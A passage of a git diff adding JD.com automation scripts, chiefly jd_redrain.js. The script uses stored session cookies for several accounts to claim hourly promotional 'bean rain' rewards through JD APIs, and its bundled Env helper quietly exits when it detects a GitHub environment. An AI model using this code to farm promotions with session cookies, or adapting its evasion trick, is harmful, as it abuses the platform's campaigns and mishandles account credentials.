JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// md5 +!function(n){function t(n,t){var r=(65535&n)+(65535&t);return(n>>16)+(t>>16)+(r>>16)<<16|65535&r}function r(n,t){return n<>>32-t}function e(n,e,o,u,c,f){return t(r(t(t(e,n),t(u,f)),c),o)}function o(n,t,r,o,u,c,f){return e(t&r|~t&o,n,t,u,c,f)}function u(n,t,r,o,u,c,f){return e(t&o|r&~o,n,t,u,c,f)}function c(n,t,r,o,u,c,f){return e(t^r^o,n,t,u,c,f)}function f(n,t,r,o,u,c,f){return e(r^(t|~o),n,t,u,c,f)}function i(n,r){n[r>>5]|=128<>>9<<4)]=r;var e,i,a,d,h,l=1732584193,g=-271733879,v=-1732584194,m=271733878;for(e=0;e>5]>>>t%32&255)}return r}function d(n){var t,r=[];for(r[(n.length>>2)-1]=void 0,t=0;t>5]|=(255&n.charCodeAt(t/8))<16&&(o=i(o,8*n.length)),r=0;r<16;r+=1){u[r]=909522486^o[r],c[r]=1549556828^o[r]}return e=i(u.concat(d(t)),512+8*t.length),a(i(c.concat(e),640))}function g(n){var t,r,e="";for(r=0;r>>4&15)+"0123456789abcdef".charAt(15&t)}return e}function v(n){return unescape(encodeURIComponent(n))}function m(n){return h(v(n))}function p(n){return g(m(n))}function s(n,t){return l(v(n),v(t))}function C(n,t){return g(s(n,t))}function A(n,t,r){return t?r?s(t,n):C(t,n):r?m(n):p(n)}$.md5=A}(this); +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_redrain.js b/jd_redrain.js new file mode 100644 index 0000000..aaf4f23 --- /dev/null +++ b/jd_redrain.js @@ -0,0 +1,301 @@ +/* +整点京豆雨 +更新时间:2022-1-24 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +by:msechen +github:https://github.com/msechen/jdrain +频道:https://t.me/jdredrain +交流群组:https://t.me/+xfWwiMAFonwzZDFl +==============Quantumult X============== +[task_local] +#整点京豆雨 +0 * * * * https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, tag=整点京豆雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0 * * * *" script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js,tag=整点京豆雨 +================Surge=============== +整点京豆雨 = type=cron,cronexp="0 * * * *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js +===============小火箭========== +整点京豆雨 = type=cron,script-path=https://raw.githubusercontent.com/msechen/jdrain/main/jd_redrain.js, cronexpr="0 * * * *", timeout=3600, enable=true +*/ +const $ = new Env('整点京豆雨'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = ''; +let jd_redrain_activityId = ''; +let jd_redrain_url = ''; +let allMessage = '', message = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.jd_redrain_activityId) jd_redrain_activityId = process.env.jd_redrain_activityId + if (process.env.jd_redrain_url) jd_redrain_url = process.env.jd_redrain_url + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => { + }; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} + +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + return; + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:本地红包雨配置获取错误,尝试从远程读取配置\n`); + await $.wait(1000); + if (!jd_redrain_url) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let RedRainIds = await getRedRainIds(jd_redrain_url); + for (let i = 0; i < 1; i++) { + jd_redrain_activityId = RedRainIds[0]; + } + } + if (!jd_redrain_activityId) { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:今日龙王🐲出差,天气晴朗☀️,改日再来~\n`); + return; + } + let codeList = jd_redrain_activityId.split("@"); + let hour = (new Date().getUTCHours() + 8) % 24; + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:龙王就位: ${codeList}\n\n准备领取${hour}点京豆雨\n`); + for (let codeItem of codeList) { + let ids = {}; + for (let i = 0; i < 24; i++) { + ids[String(i)] = codeItem; + } + if (ids[hour]) { + $.activityId = ids[hour]; + $.log(`\nRRA: ${codeItem}`); + } else { + $.log(`\n甘露殿【https://t.me/jdredrain】提醒你:无法从本地读取配置,请检查运行时间\n`); + return; + } + if (!/^RRA/.test($.activityId)) { + console.log(`\n甘露殿【https://t.me/jdredrain】提醒你:RRA: "${$.activityId}"不符合规则\n`); + continue; + } + for (let i = 0; i < 5; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, { "open-url": "https://bean.m.jd.com/bean/signIndex.action" }); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n${tswb}`); + } + continue + } + await queryRedRainTemplateNew($.activityId) + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +// 查询红包 +function queryRedRainTemplateNew(actId) { + const body = { "actId": actId }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=queryRedRainTemplateNew&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`queryRedRainTemplateNew api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + //console.log(data); + await doInteractiveAssignment(data.activityInfo.encryptProjectId, data.activityInfo.encryptAssignmentId); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +// 拆红包 +function doInteractiveAssignment(encryptProjectId, encryptAssignmentId) { + const body = { "encryptProjectId": encryptProjectId, "encryptAssignmentId": encryptAssignmentId, "completionFlag": true, "sourceCode": "acehby20210924" }; + return new Promise(async resolve => { + const options = { + url: `https://api.m.jd.com/client.action?appid=redrain-2021&functionId=doInteractiveAssignment&client=wh5&clientVersion=1.0.0&body=${encodeURIComponent(JSON.stringify(body))}&_=${(new Date).getTime()}`, + headers: { + Host: "api.m.jd.com", + origin: 'https://h5.m.jd.com/', + Accept: "*/*", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + Cookie: cookie, + "User-Agent": "Mozilla/5.0 (Linux; Android 10; WLZ-AN00 Build/HUAWEIWLZ-AN00; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/89.0.4389.72 MQQBrowser/6.2 TBS/045811 Mobile Safari/537.36 MMWEBID/2874 MicroMessenger/8.0.15.2020(0x28000F39) Process/tools WeChat/arm64 Weixin NetType/4G Language/zh_CN ABI/arm64", + "Referer": `https://h5.m.jd.com/` + } + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`doInteractiveAssignment api请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode == "0") { + //console.log(`${data.rewardsInfo.successRewards[3][0].rewardName}`); + message += `领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${data.rewardsInfo.successRewards[3][0].rewardName}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else { + console.log(data); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + + +function getRedRainIds(url) { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + + +function TotalBean() { + return new Promise(async resolve => { + const options = { + url: "https://wq.jd.com/user_new/info/GetJDUserInfoUnion?sceneval=2", + headers: { + Host: "wq.jd.com", + Accept: "*/*", + Connection: "keep-alive", + Cookie: cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-cn", + "Referer": "https://home.m.jd.com/myJd/newhome.action?sceneval=2&ufc=&", + "Accept-Encoding": "gzip, deflate, br" + } + } + $.get(options, (err, resp, data) => { + try { + if (err) { + $.logErr(err) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 1001) { + $.isLogin = false; //cookie过期 + return; + } + if (data['retcode'] === 0 && data.data && data.data.hasOwnProperty("userInfo")) { + $.nickName = data.data.userInfo.baseInfo.nickname; + } + } else { + console.log('京东服务器返回空数据'); + } + } + } catch (e) { + $.logErr(e) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} + +// prettier-ignore +function Env(t, e) { "undefined" != typeof process && JSON.stringify(process.env).indexOf("GITHUB") > -1 && process.exit(0); class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return "POST" === e && (s = this.post), new Promise((e, i) => { s.call(this, t, (t, s, r) => { t ? i(t) : e(s) }) }) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new class { constructor(t, e) { this.name = t, this.http = new s(this), this.data = null, this.dataFile = "box.dat", this.logs = [], this.isMute = !1, this.isNeedRewrite = !1, this.logSeparator = "\n", this.startTime = (new Date).getTime(), Object.assign(this, e), this.log("", `🔔${this.name}, 开始!`) } isNode() { return "undefined" != typeof module && !!module.exports } isQuanX() { return "undefined" != typeof $task } isSurge() { return "undefined" != typeof $httpClient && "undefined" == typeof $loon } isLoon() { return "undefined" != typeof $loon } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const i = this.getdata(t); if (i) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise(e => { this.get({ url: t }, (t, s, i) => e(i)) }) } runScript(t, e) { return new Promise(s => { let i = this.getdata("@chavy_boxjs_userCfgs.httpapi"); i = i ? i.replace(/\n/g, "").trim() : i; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); r = r ? 1 * r : 20, r = e && e.timeout ? e.timeout : r; const [o, h] = i.split("@"), n = { url: `http://${h}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": o, Accept: "*/*" } }; this.post(n, (t, e, i) => s(i)) }).catch(t => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e); if (!s && !i) return {}; { const i = s ? t : e; try { return JSON.parse(this.fs.readFileSync(i)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { this.fs = this.fs ? this.fs : require("fs"), this.path = this.path ? this.path : require("path"); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), i = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : i ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const i = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of i) if (r = Object(r)[t], void 0 === r) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), e.slice(0, -1).reduce((t, s, i) => Object(t[s]) === t[s] ? t[s] : t[s] = Math.abs(e[i + 1]) >> 0 == +e[i + 1] ? [] : {}, t)[e[e.length - 1]] = s, t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, i] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, i, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, i, r] = /^@(.*?)\.(.*?)$/.exec(e), o = this.getval(i), h = i ? "null" === o ? null : o || "{}" : "{}"; try { const e = JSON.parse(h); this.lodash_set(e, r, t), s = this.setval(JSON.stringify(e), i) } catch (e) { const o = {}; this.lodash_set(o, r, t), s = this.setval(JSON.stringify(o), i) } } else s = this.setval(t, e); return s } getval(t) { return this.isSurge() || this.isLoon() ? $persistentStore.read(t) : this.isQuanX() ? $prefs.valueForKey(t) : this.isNode() ? (this.data = this.loaddata(), this.data[t]) : this.data && this.data[t] || null } setval(t, e) { return this.isSurge() || this.isLoon() ? $persistentStore.write(t, e) : this.isQuanX() ? $prefs.setValueForKey(t, e) : this.isNode() ? (this.data = this.loaddata(), this.data[e] = t, this.writedata(), !0) : this.data && this.data[e] || null } initGotEnv(t) { this.got = this.got ? this.got : require("got"), this.cktough = this.cktough ? this.cktough : require("tough-cookie"), this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar, t && (t.headers = t.headers ? t.headers : {}, void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = (() => { })) { t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"]), this.isSurge() || this.isLoon() ? (this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) })) : this.isQuanX() ? (this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t))) : this.isNode() && (this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), e.cookieJar = this.ckjar } } catch (t) { this.logErr(t) } }).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) })) } post(t, e = (() => { })) { if (t.body && t.headers && !t.headers["Content-Type"] && (t.headers["Content-Type"] = "application/x-www-form-urlencoded"), t.headers && delete t.headers["Content-Length"], this.isSurge() || this.isLoon()) this.isSurge() && this.isNeedRewrite && (t.headers = t.headers || {}, Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.post(t, (t, s, i) => { !t && s && (s.body = i, s.statusCode = s.status), e(t, s, i) }); else if (this.isQuanX()) t.method = "POST", this.isNeedRewrite && (t.opts = t.opts || {}, Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => e(t)); else if (this.isNode()) { this.initGotEnv(t); const { url: s, ...i } = t; this.got.post(s, i).then(t => { const { statusCode: s, statusCode: i, headers: r, body: o } = t; e(null, { status: s, statusCode: i, headers: r, body: o }, o) }, t => { const { message: s, response: i } = t; e(s, i, i && i.body) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date; let i = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds() }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in i) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? i[e] : ("00" + i[e]).substr(("" + i[e]).length))); return t } msg(e = t, s = "", i = "", r) { const o = t => { if (!t) return t; if ("string" == typeof t) return this.isLoon() ? t : this.isQuanX() ? { "open-url": t } : this.isSurge() ? { url: t } : void 0; if ("object" == typeof t) { if (this.isLoon()) { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } if (this.isQuanX()) { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl; return { "open-url": e, "media-url": s } } if (this.isSurge()) { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } } }; if (this.isMute || (this.isSurge() || this.isLoon() ? $notification.post(e, s, i, o(r)) : this.isQuanX() && $notify(e, s, i, o(r))), !this.isMuteLog) { let t = ["", "==============📣系统通知📣=============="]; t.push(e), s && t.push(s), i && t.push(i), console.log(t.join("\n")), this.logs = this.logs.concat(t) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { const s = !this.isSurge() && !this.isQuanX() && !this.isLoon(); s ? this.log("", `❗️${this.name}, 错误!`, t.stack) : this.log("", `❗️${this.name}, 错误!`, t) } wait(t) { return new Promise(e => setTimeout(e, t)) } done(t = {}) { const e = (new Date).getTime(), s = (e - this.startTime) / 1e3; this.log("", `🔔${this.name}, 结束! 🕛 ${s} 秒`), this.log(), (this.isSurge() || this.isQuanX() || this.isLoon()) && $done(t) } }(t, e) } \ No newline at end of file diff --git a/jd_redrain_half.js b/jd_redrain_half.js new file mode 100644 index 0000000..85c0be1 --- /dev/null +++ 